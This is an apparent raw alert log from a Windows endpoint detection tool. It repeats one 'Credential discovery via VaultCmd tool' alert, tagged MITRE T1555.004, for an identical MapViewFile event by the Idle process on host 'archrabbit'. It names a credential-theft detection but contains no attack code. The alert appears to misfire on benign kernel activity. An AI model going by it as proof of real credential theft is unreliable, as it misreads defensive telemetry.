Credential Access + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:19+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:19+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:19+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:19+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:19+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:19+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:19+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:19+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:19+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004 + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:19+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:19+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:19+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:19+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:19+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006 + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:19+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:19+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:19+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:19+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:19+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:19+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:19+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:19+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:19+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:19+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:19+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:19+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + 